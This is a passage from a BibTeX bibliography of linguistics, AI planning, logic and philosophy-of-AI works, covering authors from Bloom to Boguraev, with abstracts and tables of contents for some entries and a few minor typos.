{Groningen, Holland}, + topic = {sentence-focus;epistemic-logic;pragmatics;} + } + +@book{ bloom:1994a, + editor = {Paul Bloom}, + title = {Language Acquisition: Core Readings}, + publisher = {The {MIT} Press}, + year = {1994}, + address = {Cambridge, Massachusetts}, + contentnote = {TC: + 1. Paul Bloom, "language acquisitions" + 2. Paul Bloom, "Overview: controversies in + language acquisition" + 3. Anne Fernald, "Human maternal vocalizations to infants as + biologically relevant signals : an evolutionary perspective" + 4. Laura Ann Petitto, "Modularity and constraints in early + lexical acquisition : evidence from children's early language + and gesture" + 5. Dare A. Baldwin, "Infant contributions to the + achievement of joint reference" + 6. Ellen M. Markman, Lila Gleitman, Janellen Huttenlocher and + Patricia Smiley, + 7. Janellen Huttenlocher and Patricia Smiley, "Constraints + children place on word "Early word meanings : the + case of object names"meanings" + 8. Eve V. Clark and Kathie L. Carpenter, "The notion of + source in language acquisition" + 9. Jess Gropen et al, "Affectedness and direct + objects : the role of lexical semantics in the + acquisition of verb argument structure" + 10. Melissa Bowerman, "Learning a semantic system : what role + do cognitive predispositions play?" + 11. Stephen Crain, "Language acquisition in the absence of + experience" + 12. Richard F. Cromer, "Language growth with experience + without feedback" + 13. D.E. Rumelhart and J.L. McClelland, "On learning the past + tenses of English verbs" + 14. Steven Pinker, "Rules of language" + 15. Peter Gordon, "Level-ordering in + lexical development" + 16. Susan Goldin-Meadow and Carolyn Mylander, "Beyond the + input given: the child's role in the acquisition of + language" + 17. Elissa L. Newport, "Maturational constraints on language learning" + 16. Annette Karmiloff-Smith, "Innate + constraints and developmental change" + 16. Peter Marler, "The instinct to learn" + } , + topic = {L1-acquisition;} + } + +@book{ bloom:1996b, + editor = {Paul Bloom}, + title = {Language and Space}, + publisher = {The {MIT} Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + ISBN = {0262024039}, + topic = {spatial-semantics;spatial-language;} + } + +@book{ bloomfield:1914a, + author = {Leonard Bloomfield}, + title = {An Introduction to the Study of Language}, + publisher = {H. Holt and Company}, + year = {1914}, + address = {New York}, + ISBN = {UMich Graduate Library 800 B65}, + xref = {Revision: bloomfield:1933a.}, + topic = {linguistics-classics;} + } + +@book{ bloomfield:1933a, + author = {Leonard Bloomfield}, + title = {Language}, + publisher = {Holt, Rinehart and Winston}, + year = {1933}, + address = {New York}, + xref = {Revision of: bloomfield:1914a.}, + topic = {linguistics-classics;} + } + +@article{ blue:1981a, + author = {N.A. Blue}, + title = {A Metalinguistic Interpretation of Counterfactual + Conditionals}, + journal = {Journal of Philosophical Logic}, + year = {1981}, + volume = {10}, + number = {2}, + pages = {179--200}, + topic = {conditionals;} + } + +@article{ blum-furst:1997a, + author = {Avrim L. Blum and Merrick L. Furst}, + title = {Fast Planning through Planning Graph Analysis}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {90}, + number = {1--2}, + pages = {281--300}, + acontentnote = {Abstract: + We introduce a new approach to planning in STRIPS-like domains + based on constructing and analyzing a compact structure we call + a planning graph. We describe a new planner, Graphplan, that + uses this paradigm. Graphplan always returns a shortest possible + partial-order plan, or states that no valid plan exists. + We provide empirical evidence in favor of this approach, + showing that Graphplan outperforms the total-order planner, + Prodigy, and the partial-order planner, UCPOP, on a variety of + interesting natural and artificial planning problems. We also + give empirical evidence that the plans produced by Graphplan are + quite sensible. Since searches made by this approach are + fundamentally different from the searches of other common + planning methods, they provide a new perspective on the planning + problem.}, + topic = {planning-algorithms;graph-based-reasoning;} + } + +@article{ blum-langley:1997a, + author = {Arvin L. Blum and Pat Langley}, + title = {Selection of Relevant Features and Examples in Machine + Learning}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {97}, + number = {1--2}, + pages = {245--271}, + topic = {relevance;machine-learning;} + } + +@article{ blumenthal-porter:1994a, + author = {Brad Blumenthal and Bruce W. Porter}, + title = {Analysis and Empirical Studies of Derivational Analogy}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {67}, + number = {2}, + pages = {287--327}, + acontentnote = {Abstract: + Derivational analogy is a technique for reusing problem solving + experience to improve problem solving performance. This research + addresses an issue common to all problem solvers that use + derivational analogy: overcoming the mismatches between past + experiences and new problems that impede reuse. First, this + research describes the variety of mismatches that can arise and + proposes a new approach to derivational analogy that uses + appropriate adaptation strategies for each. Second, it compares + this approach with seven others in a common domain. This + empirical study shows that derivational analogy is almost always + more efficient than problem solving from scratch, but the amount + it contributes depends on its ability to overcome mismatches and + to usefully interleave reuse with from-scratch problem solving. + Finally, this research describes a fundamental tradeoff between + efficiency and solution quality, and proposes a derivational + analogy algorithm that can improve its adaptation strategy with + experience.}, + topic = {analogy;case-based-reasoning;problem-solving; + analogical-reasoning;} + } + +@inproceedings{ blutner:1995a, + author = {Reinhard Blutner}, + title = {{\em Normality} in Update Semantics}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {V}}, + year = {1995}, + editor = {Mandy Simons and Teresa Galloway}, + pages = {19--36}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;} + } + +@article{ blutner:2002a, + author = {Reinhard Blutner}, + title = {Review of {\it Learnability in Optimality Theory}, by + {B}ruce {T}esar and {P}aul {S}molensky}, + journal = {Linguistics and Philosophy}, + year = {2002}, + volume = {25}, + number = {1}, + pages = {65--70}, + xref = {Review of: tesar-smolensky:2000a.}, + topic = {grammar-learning;optimality-theory;} + } + +@unpublished{ blythe:1995a, + author = {Jim Blythe}, + title = {{AI} Planning in Dynamic, Uncertain Domains}, + year = {1995}, + note = {Unpublished manuscript, Carnegie Mellon University.}, + missinginfo = {Year is Guess. Published in some AI conference. + Which one?}, + topic = {planning;} + } + +@article{ blythe:1999a, + author = {Jim Blythe}, + title = {Decision-Theoretic Planning}, + journal = {{AI} Magazine}, + year = {1999}, + volume = {20}, + missinginfo = {pages, number}, + topic = {decision-theoretic-planning;} + } + +@article{ bo-kambhampati:2001a, + author = {Minh Binh Bo and Subbaro Kambhampati}, + title = {Planning as Constraint Satisfaction: Solving the Planning + Graph by Compiling It into {CSP}}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {132}, + number = {2}, + pages = {151--182}, + topic = {planning;constraint-satisfaction;} + } + +@inproceedings{ board:1998a, + author = {Oliver J. Board}, + title = {Belief Revision and Rationalizability}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Seventh Conference ({TARK} 1998)}, + year = {1998}, + editor = {Itzhak Gilboa}, + publisher = {Morgan Kaufmann}, + address = {San Francisco, California}, + missinginfo = {pages pages = {201--}}, + topic = {belief-revision;} + } + +@book{ bobrow-collins_a:1975a, + editor = {Daniel G. Bobrow and Allan Collins}, + title = {Representation and Understanding: Studies in Cognitive + Science}, + publisher = {Academic Press}, + year = {1975}, + address = {New York}, + ISBN = {0121085503}, + topic = {cognitive-science;} + } + +@article{ bobrow-winograd:1977a1, + author = {Daniel G. Bobrow and Terry Winograd}, + title = {An Overview of {KRL}, a Knowledge Representation Language}, + journal = {Cognitive Science}, + year = {1977}, + volume = {1}, + pages = {3--46}, + xref = {Republished in Ronald J. Brachman and Hector J. Levesque; + Readings in Knowledge Representation. See bobrow-winograd:1977a2.}, + missinginfo = {number}, + topic = {kr;frames;kr-course;} + } + +@incollection{ bobrow-winograd:1977a2, + author = {Daniel G. Bobrow and Terry Winograd}, + title = {An Overview of {KRL}, a Knowledge Representation Language}, + booktitle = {Readings in Knowledge Representation}, + publisher = {Morgan Kaufmann}, + year = {1995}, + editor = {Ronald J. Brachman and Hector J. Levesque}, + address = {Los Altos, California}, + pages = {263--286}, + xref = {Originally published in Cognitive Science; 1; 1977. + See bobrow-winograd:1977a1.}, + topic = {kr;frames;kr-course;} + } + +@article{ bobrow:1984a, + author = {Daniel G. Bobrow}, + title = {Qualitative Reasoning about Physical Systems: An + Introduction}, + journal = {Artificial Intelligence}, + year = {1984}, + volume = {24}, + number = {1--3}, + pages = {1--5}, + topic = {qualitative-physics;qualitative-reasoning;} + } + +@book{ bobrow:1985a, + editor = {Daniel G. Bobrow}, + title = {Qualitative Reasoning About Physical Systems}, + publisher = {The {MIT} Press}, + year = {1985}, + address = {Cambridge, Massachusetts}, + ISBN = {0262521008 (pbk.)}, + topic = {qualitative-physics;qualitative-reasoning;} + } + +@article{ bobrow-hayes_pj1:1985a, + author = {Daniel G. Bobrow and Patrick J. Hayes}, + title = {Artificial Intelligence---Where Are We?}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {25}, + number = {3}, + pages = {375--415}, + topic = {AI-survey;AI-editorial;} + } + +@article{ bobrow:1993a, + author = {Daniel G. Bobrow}, + title = {Artificial Intelligence in Perspective: A Retrospective + on Fifty Volumes of the {A}rtificial {I}ntelligence {J}ournal}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {5--20}, + topic = {AI-general;history-of-AI;} + } + +@article{ bobrow-brady:1998a, + author = {Daniel Bobrow and Brady}, + title = {Editorial}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {100}, + number = {1--3}, + pages = {1--3}, + topic = {AI-editorial;} + } + +@article{ bobrow-brady:1998b, + author = {Daniel J. Bobrow and J. Michael Brady}, + title = {Aritificial Intelligence 40 Years After}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {103}, + number = {1--2}, + pages = {1--4}, + topic = {AI-survey;} + } + +@article{ bochman:2002a, + author = {Alexander Bochman}, + title = {Entrenchment Versus Dependence: Coherence and Foundations + in Belief Change}, + journal = {Journal of Logic, Language, and Information}, + year = {2002}, + volume = {11}, + number = {1}, + pages = {3--27}, + topic = {belief-revision;} + } + +@incollection{ bochman_a:1994a, + author = {Alexander Bochman}, + title = {On the Relation Between Default and Modal Consequence + Relations}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {63--74}, + address = {San Francisco, California}, + topic = {kr;default-logic;modal-logic;kr-course;} + } + +@inproceedings{ bochman_a:1995a, + author = {Alexander Bochman}, + title = {On Bimodal Nonmonotonic Logics and Their Unimodal and + Nonmodal Equivalents}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1518--1524}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {nonmonotonic-logic;autoepistemic-logic;negation-as-failure;} + } + +@incollection{ bochman_a:1996a, + author = {Alexander Bochman}, + title = {Biconsequence Relations for Nonmonotonic Reasoning}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {482--492}, + address = {San Francisco, California}, + topic = {kr;4-valued-logic;nonmonotonic-logic;negation-as-failure; + bilattices;kr-course;} + } + +@article{ bochman_a:1998a, + author = {Alexander Bochman}, + title = {Review of {\em If $P$ then $Q$}, by {D}avid {H}. {S}anford}, + journal = {Philosophia}, + year = {1998}, + volume = {26}, + number = {1--2}, + pages = {237--250}, + topic = {conditionals;} + } + +@article{ bochman_a:1998b, + author = {Alexander Bochman}, + title = {On the Relation between Default and Modal Nonmonotonic + Reasoning}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {101}, + number = {1--2}, + pages = {1--34}, + topic = {default-logic;modal-logic;nonmonotonic-logic; + autoepistemic-logic;} + } + +@article{ bochman_a:1999a, + author = {Alexander Bochman}, + title = {A Foundational Theory of Belief and Belief Change}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {108}, + number = {1--2}, + pages = {309--352}, + topic = {belief-revision;} + } + +@article{ bochman_a:2000a, + author = {Alexander Bochman}, + title = {A Foundationalist View of the {AGM} Theory of Belief + Change}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {116}, + number = {1--2}, + pages = {237--263}, + topic = {belief-revision;} + } + +@article{ bochman_a:2000b, + author = {Alexander Bochman}, + title = {Belief Contraction as Nonmonotonic Inference}, + journal = {Journal of Symbolic Logic}, + year = {2000}, + volume = {65}, + number = {2}, + pages = {605--626}, + topic = {belief-revision;nonmonotonic-logic;} + } + +@incollection{ bochman_g-gecsei:1977a, + author = {G.V. Bochman and J. Gecsei}, + title = {A Unified Method for the Specification and Verification of + Protocols}, + booktitle = {Information Processing 77}, + publisher = {North-Holland Publishing Company}, + year = {1977}, + editor = {B. Gilchrist}, + pages = {229--234}, + address = {Amsterdam}, + missinginfo = {A's 1st name}, + topic = {distributed-systems;communication-protocols;} + } + +@incollection{ bochvar:1994a, + author = {D.A. Bochvar}, + title = {Some Aspects of the Investigation of Reification + Paradoxes}, + booktitle = {Intensional Logic: Theory and Applications}, + publisher = {The Philosophical Society of Finland}, + year = {1994}, + editor = {Ilkka Niiniluoto and Esa Saarinen}, + pages = {229--238}, + address = {Helsinki}, + topic = {multi-valued-logic;semantic-paradoxes;} + } + +@book{ bod:1998a, + author = {Rens Bod}, + title = {Beyond Grammar: An Experience-Based Theory of + Language}, + publisher = {CSLI Publications}, + year = {1998}, + address = {Stanford University}, + xref = {review:collins_m:1999a.}, + topic = {statistical-parsing;TAG-grammar;nlp-algorithms;} + } + +@inproceedings{ bod:1998b, + author = {Rens Bod}, + title = {Spoken Dialogue Interpretation with the {DOP} Model}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {138--144}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {discourse-interpretation;} +} + +@inproceedings{ bod-kaplan_r:1998a, + author = {Rens Bod and Ronald Kaplan}, + title = {A Probabilistic Corpus-Driven Model for Lexical-Functional + Analysis}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + missinginfo = {pages = {145--}}, + topic = {LFG;data-oriented-parsing;statistical-parsing;} +} + +@book{ bod:1999a, + author = {Rens Bod}, + title = {Beyond Grammar---An Experience-Based Theory of Language}, + publisher = {Cambridge University Press}, + year = {1999}, + address = {Cambridge, England}, + ISBN = {Paperback ISBN 1-57586-150-x $19.95 + Hardcover ISBN 1-57586-151-8 $59.95}, + topic = {foundations-of-grammar;corpus-linguistics;} + } + +@techreport{ boddy:1989a, + author = {Mark Boddy and Thomas Dean}, + title = {Solving Time-Dependent Planning Problems}, + institution = {Department of Computer Science, Brown University}, + number = {CS--89--03}, + year = {1989}, + address = {Providence, Rhode Island}, + note = {planning;temporal-reasoning}, + topic = {planning;temporal-reasoning;} + } + +@article{ boddy-dean:1994a, + author = {Mark Boddy and Thomas L. Dean}, + title = {Deliberation Scheduling for Problem Solving in + Time-Constrained Environments}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {67}, + number = {2}, + pages = {245--285}, + acontentnote = {Abstract: + We are interested in the problem faced by an agent with limited + computational capabilities, embedded in a complex environment + with other agents and processes not under its control. Careful + management of computational resources is important for complex + problem-solving tasks in which the time spent in decision making + affects the quality of the responses generated by a system. This + paper describes an approach to designing systems that are + capable of taking their own computational resources into + consideration during planning and problem solving. In + particular, we address the design of systems that manage their + computational resources by using expectations about the + performance of decision-making procedures and preferences over + the outcomes resulting from applying those procedures. Our + approach is called deliberation scheduling. Deliberation + scheduling involves the explicit allocation of computational + resources to decision-making procedures based on the expected + effect of those allocations on the system's performance.}, + topic = {limited-rationality;} + } + +@article{ boddy-etal:forthcominga, + author = {Mark Boddy and Robert P. Goldman and Keiji Kanazawa and + Lynn A. Stein}, + title = {Investigations of Model-Preference Defaults}, + journal = {Fundamenta Informaticae}, + missinginfo = {volume, number, year, pages}, + topic = {nonmonotonic-logic;model-preference;} + } + +@article{ bode-etal:2001a, + author = {M. Bode and O. Freyd and J. Fischer and F.-J. + Niedernostheide and H.-J. Schulze}, + title = {Hybrid Hardware for a Highly Parallel Search in the + Context of Learning Classifiers}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {130}, + number = {1}, + pages = {75--84}, + topic = {machine-learning;parallel-processing;search;} + } + +@book{ boden:1977a, + author = {Margaret A. Boden}, + title = {Artificial Intelligence and Natural Man}, + publisher = {Harvester Press}, + year = {1977}, + address = {Brighton}, + missinginfo = {Check topic.}, + topic = {philosophy-of-AI;} + } + +@book{ boden:1981a, + author = {Margaret A. Boden}, + title = {Minds and Mechanisms: Philosophical Psychology and + Computational Models}, + publisher = {Harvester Press}, + year = {1981}, + address = {Brighton}, + ISBN = {0710800053}, + topic = {philosophical-psychology;foundations-of-cogsci;} + } + +@incollection{ boden:1984a, + author = {Margaret Boden}, + title = {Methodological Links between {AI} and + Other Disciplines}, + booktitle = {The Mind and the Machine: Philosophical Aspects + of Artificial Intelligence}, + publisher = {Ellis Horwood, Ltd.}, + year = {1984}, + editor = {Steve B. Torrance}, + pages = {125--132}, + address = {Chichester}, + xref = {Original pulication in machlup-mansfield:1984a.}, + topic = {philosophy-and-AI;} + } + +@book{ boden:1988a, + author = {Margaret A. Boden}, + title = {Computer Models of Mind: Computational Approaches In + Theoretical Psychology}, + publisher = {Cambridge University Press}, + year = {1988}, + address = {Cambridge, England}, + ISBN = {052124868X}, + topic = {foundations-of-cogsci;} + } + +@book{ boden:1990a, + author = {Margaret A. Boden}, + title = {The Creative Mind: Myths and Mechanisms}, + publisher = {Basic Books}, + year = {1990}, + address = {New York}, + ISBN = {0465014526}, + xref = {Reviews: haase:1995a,lustig:1995a,perkins:1995a, + ram-etal:1995a,schank-foster:1995a,turner_sr:1995a.}, + topic = {creativity;} + } + +@book{ boden:1990b, + editor = {Margaret A. Boden}, + title = {The Philosophy of Artificial Intelligence}, + publisher = {Oxford University Press}, + year = {1990}, + address = {Oxford}, + ISBN = {0198248555}, + topic = {philosophy-of-AI;} + } + +@incollection{ boden:1993a, + author = {Margaret A. Boden}, + title = {The Impact of Philosophy}, + booktitle = {The Simulation of Human Intelligence}, + publisher = {Blackwell Publishers}, + year = {1993}, + editor = {Donald Broadbent}, + pages = {178--197}, + address = {Oxford}, + topic = {philosophy-AI;} + } + +@book{ boden:1994a, + editor = {Margaret A. Boden}, + title = {Dimensions of Creativity}, + publisher = {The {MIT} Press}, + year = {1994}, + address = {Cambridge, Massachusetts}, + ISBN = {0262023687}, + topic = {creativity;} + } + +@article{ boden:1994b, + author = {Margaret A. Boden}, + title = {New Breakthroughs or Dead-Ends?}, + journal = {Philosophical Transactions of the Royal Society, Series A: + Physical Sciences and Engineering}, + year = {1994}, + volume = {349}, + number = {1689}, + pages = {1--13}, + note = {Available at http://www.jstor.org/journals/09628428.html}, + topic = {philosophy-AI;cognitive-architectures;} + } + +@book{ boden-etal:1994b, + editor = {Margaret A. Boden and Alan Bundy and Roger M. Needham}, + title = {Artificial Intelligence and the Mind: New Breakthroughs or + Deadends?}, + publisher = {Royal Society of London}, + year = {1994}, + address = {London}, + note = {Philosophical Transactions of the Royal Society, Series A: + Physical Sciences and Engineering, Vol. 349, No. 1689. + Available at http://www.jstor.org/journals/09628428.html.}, + contentnote = {TC: + 1. Margaret A. Boden, "New Breakthroughs or Dead-Ends?", pp. 1--13 + 2. Michael Brady and Huosheng Hu, "The Mind of a Robot", pp. 15--28 + 3. Bonnie Webber and M. Brady, "The Mind of Robot: Discussion", p. 28 + 4. J.C.T. Hallam and C.A. Malcolm, "Behaviour: Perception, + Action and Intelligence---The View from Situated + Robotics", pp. 29--42 + 5. D. Partridge and J. C. T. Hallam and M. Brady and + R. Hudson, "Behaviour: Perception, Action and + Intelligence---The View from Situated Robotics: + Discussion", p. 42 + 6. Aaron Sloman, "Semantics in an Intelligent Control + System", pp. 43--57 + 7. A. Prescott and A. Sloman and N. Shadbolt and M. + Steedman, "Semantics in an Intelligent Control + System: Discussion", pp. 57--58 + 8. Fred Dretske, "The Explanatory Role of Information", pp. 59--69 + 9. Alan Bundy, "A Subsumption Architecture for Theorem + Proving?", pp. 71--84 + 10. D. Dennett, A. Bundy, M. Sharples, M. Brady, D. Partridge, "A + Subsumption Architecture for Theorem Proving?: + Discussion", pp. 84--85 + 11. David Willshaw, "Non-Symbolic Approaches to Artificial + Intelligence and the Mind", pp. 87--101 + 12. D. Dennett, D. Willshaw, D. Partridge, "Non-Symbolic + Approaches to Artificial Intelligence and the Mind: + Discussion", pp. 101--102 + 13. H. Christopher Longuet-Higgins, "Artificial Intelligence and + Musical Cognition", pp. 103--112 + 14. B. Webber, C. Longuet-Higgins, W. Cameron, A. Bundy, R. + Hudson, L. Hudson, J. Ziman, A. Sloman, M. Sharples, + D. Dennett, "Artificial Intelligence and Musical + Cognition: Discussion", pp. 112--113 + 15. Mark Steedman, "The Well-Tempered Computer", pp. 115--130 + 16. T. N. Rutherford, M. Steedman, T. Addis, R. Cahn, B. Larvor, + E. Clarke, "The Well-Tempered Computer: Discussion", + pp. 130--131 + 17. Daniel C. Dennett, "The Practical Requirements for Making a + Conscious Robot", pp. 133--146 + 18. F. Dretske, D. C. Dennett, S. Shurville, A. Clark, I. Aleksander, + J. Cornwell, "The Practical Requirements for Making a + Conscious Robot: Discussion", p. 146 + 19. J. R. Lucas, "A View of One's Own", pp. 147--152 + 20. M. Elton, J. R. Lucas, A. Sloman, "A View of One's Own: + Discussion", p. 152 + 21. Bruce G. Buchanan, "The Role of Experimentation in Artificial + Intelligence", pp. 153--165 + 22. H. Hendriks-Jansen, B. G. Buchanan. I, T. Addis, "The Role of + Experimentation in Artificial Intelligence: + Discussion", pp. 165--166 + } , + topic = {philosophy-AI;AI-and-music;} + } + +@article{ boden:1995a, + author = {Margaret A. Boden}, + title = {{AI}'s Half-Century}, + journal = {{AI} Magazine}, + year = {1995}, + volume = {16}, + number = {4}, + pages = {96--99}, + topic = {AI-survey;philosophy-of-AI;} + } + +@book{ boden:1996a, + editor = {Margaret A. Boden}, + title = {The Philosophy of Artificial Life}, + publisher = {Oxford University Press}, + year = {1996}, + address = {Oxford}, + ISBN = {0198751559 (alk. paper)}, + topic = {artificial-life;} + } + +@article{ boden:1998a, + author = {Margaret A. Boden}, + title = {Creativity and Artificial Intelligence}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {103}, + number = {1--2}, + pages = {347--356}, + topic = {creativity;scientific-discovery;} + } + +@incollection{ bodington-elleby:1988a, + author = {Rob Bodington and Peter Elleby}, + title = {Justification and Assumption-Based Truth Maintenance + Systems: When and How to Use Them for Constraint Satisfaction}, + booktitle = {Reason Maintenance Systems and Their Applications}, + publisher = {Ellis Horwood, Ltd.}, + year = {1988}, + editor = {Barbara Smith and Gerald Kelleher}, + pages = {114--133}, + address = {Chichester}, + topic = {truth-maintenance;constraint-satisfaction;} + } + +@mastersthesis{ bodkin:1992a, + author = {Ronald J. Bodkin}, + title = {Extending Computational Game Theory: Simultaneity, Multiple + Agents, Chance and Metareasoning}, + school = {Massachusetts Institute of Technology}, + year = {1992}, + address = {Cambridge, Massachusetts}, + topic = {concurrence;game-theory;metareasoning;} +} + +@book{ bodnar-etal:1988a, + editor = {Istv\'an Bodn\'ar and Andr\'as M\'at\'e and L\'aszl\'o P\'olos}, + title = {Intentional Logic, History of Philosophy and Methodology}, + publisher = {K\'ezirat Gyan\'ant}, + year = {1988}, + address = {Budapest}, + ISBN = {963462255 0}, + topic = {modal-logic;history-of-philosophy;} + } + +@incollection{ boella-etal:2000a, + author = {Guido Boella and Rossana Damiano and Leonardo Lesmo}, + title = {Social Goals in Conversational Cooperation}, + booktitle = {Proceedings of the First {SIGdial} Workshop on Discourse + and Dialogue}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Laila Dybkjaer and Koiti Hasida and David Traum}, + pages = {84--93}, + address = {Somerset, New Jersey}, + topic = {computational-dialogue;cooperation;} + } + +@incollection{ boella-lesmo:2001a, + author = {Guido Boella and Leonardo Lesmo}, + title = {An Approach to Anaphora Based on Mental Models}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {413--416}, + address = {Berlin}, + topic = {context;anaphora;mental-models;} + } + +@article{ boer-lycan:1973a, + author = {Steven E. Bo\"er and William G. Lycan}, + title = {Invited Inferences and Other Unwelcome Guests}, + journal = {Papers in Linguistics}, + year = {1973}, + volume = {6}, + pages = {453--506}, + topic = {implicature;speaker-meaning;} + } + +@article{ boer:1978b, + author = {Steven Bo\"er}, + title = {\,`Who' and `Whether': Towards a Theory of Indirect + Question Clauses}, + journal = {Linguistics and Philosophy}, + year = {1978}, + volume = {2}, + number = {3}, + pages = {307--345}, + topic = {nl-semnatics;interrogatives;} + } + +@book{ boer-lycan:1978a, + author = {Steven E. Bo\"er and William G. Lycan}, + title = {The Myth of Semantic Presupposition}, + publisher = {Indiana University Linguistics Club}, + year = {1978}, + address = {310 Lindley Hall, Indiana University, Bloomington, + Indiana 46405}, + topic = {presupposition;pragmatics;} + } + +@article{ boer-edelstein:1979a, + author = {Steven E. Boer and Roy Edelstein}, + title = {Some Numerical Constructions in {E}nglish}, + journal = {Journal of Philosophical Logic}, + year = {1979}, + volume = {8}, + number = {3}, + pages = {261--288}, + topic = {nl-quantifiers;plural;} + } + +@article{ boer:1980a, + author = {Steven E. Bo\"er}, + title = {Review of {\it Ways of Meaning}, by {M}ark {P}latts}, + journal = {Linguistics and Philosophy}, + year = {1980}, + volume = {4}, + number = {1}, + pages = {141--156}, + xref = {Review of platts:1979a.}, + topic = {philosophy-of-language;} + } + +@article{ boer-lycan:1980a, + author = {Steven E. Bo\"er and William G. Lycan}, + title = {A Performadox in Truth-Conditional Semantics}, + journal = {Linguistics and Philosophy}, + year = {1980}, + volume = {4}, + number = {1}, + pages = {71--100}, + topic = {performative-analysis;speech-acts;pragmatics;} + } + +@book{ boer-lycan:1986a, + author = {Steven E. Bo\"er and William G. Lycan}, + title = {Knowing Who}, + publisher = {The {MIT} Press}, + year = {1986}, + address = {Cambridge, Massachusetts}, + xref = {Review: sterelny:1984a.}, + topic = {knowing-who;} + } + +@incollection{ boer:1989a, + author = {Steven E. Boer}, + title = {Neo-{F}regean Thoughts}, + booktitle = {Philosophical Perspectives 3: + Philosophy of Mind and Action Theory}, + publisher = {Ridgeview Publishing Company}, + year = {1989}, + editor = {James E. Tomberlin}, + pages = {187--224}, + address = {Atasacadero, California}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {propositional-attitudes;individual-attitudes;} + } + +@article{ boer:1994a, + author = {Steven E. Bo\"er}, + title = {Review of {\it Talk about Beliefs}, by + {M}ark {C}rimmins}, + journal = {The Philosophical Review}, + year = {1994}, + volume = {103}, + number = {2}, + pages = {362--364}, + xref = {Review of crimmins:1992a.}, + topic = {belief;} + } + +@article{ boettcher-percus:2000a, + author = {Stefan Boettcher and Allon Percus}, + title = {Nature's Way of Optimizing}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {119}, + number = {1--2}, + pages = {275--286}, + acontentnote = {Abstract: + We propose a general-purpose method for finding high-quality + solutions to hard optimization problems, inspired by + self-organizing processes often found in nature. The method, + called Extremal Optimization, successively eliminates extremely + undesirable components of sub-optimal solutions. Drawing upon + models used to simulate far-from-equilibrium dynamics, it + complements approximation methods inspired by equilibrium + statistical physics, such as Simulated Annealing. With only one + adjustable parameter, its performance proves competitive with, + and often superior to, more elaborate stochastic optimization + procedures. We demonstrate it here on two classic hard + optimization problems: graph partitioning and the traveling + salesman problem. + } , + topic = {optimization;search;AI-algorithms;simulated-annealing;} + } + +@book{ bogart:2000a, + author = {Kenneth P. Bogart}, + title = {Introductory Combinatorics}, + edition = {3}, + publisher = {Harcourt Science and Technology}, + year = {2000}, + address = {San Diego}, + ISBN = {0121108309}, + topic = {combinatorics;} + } + +@book{ bogdan:1997a, + author = {Radu J. Bogdan}, + title = {Interpreting Minds}, + publisher = {The {MIT} Press}, + year = {1997}, + address = {Cambridge, Massachusetts}, + contentnote = {Evolutionary theory of other-modeling.}, + topic = {philosophy-of-mind;} + } + +@incollection{ boghossian:1994a, + author = {Paul A. Boghossian}, + title = {The Transparency of Mental Content}, + booktitle = {Philosophical Perspectives, Volume 8: + Logic and Language}, + publisher = {Blackwell Publishers}, + year = {1994}, + editor = {James E. Tomberlin}, + pages = {33--50}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {internalism/externalism;twin-earth;} + } + +@book{ boguraev:1989a, + author = {Branimir Boguraev and Ted Briscoe}, + title = {Computational Lexicography for Natural Language + Processing}, + publisher = {Longman}, + year = {1989}, + address = {London}, + topic = {computational-lexical-semantics;machine-translation; + computational-lexicography;} + } + +@inproceedings{ boguraev-pustejovsky:1990a, + author = {Branamir Boguraev and James Pustejovsky}, + title = {Lexical Ambiguity and the Role of Knowledge Representation + in Lexicon Design}, + booktitle = {Proceedings of the Thirteenth International Conference + on Computational Linguistics}, + year = {1990}, + pages = {36--42}, + missinginfo = {editor, organization, publisher, address}, + topic = {computational-lexical-semantics;computational-lexicography;} + } + +@incollection{ boguraev:1993a, + author = {Branamir Boguraev}, + title = {The Contribution of Computational Lexicography}, + booktitle = {Challenges in Natural Language Processing}, + publisher = {Cambridge University Press}, + year = {1993}, + editor = {Madeleine Bates and Ralph Weischedel}, + pages = {99--132}, + address = {Cambridge, England}, + topic = 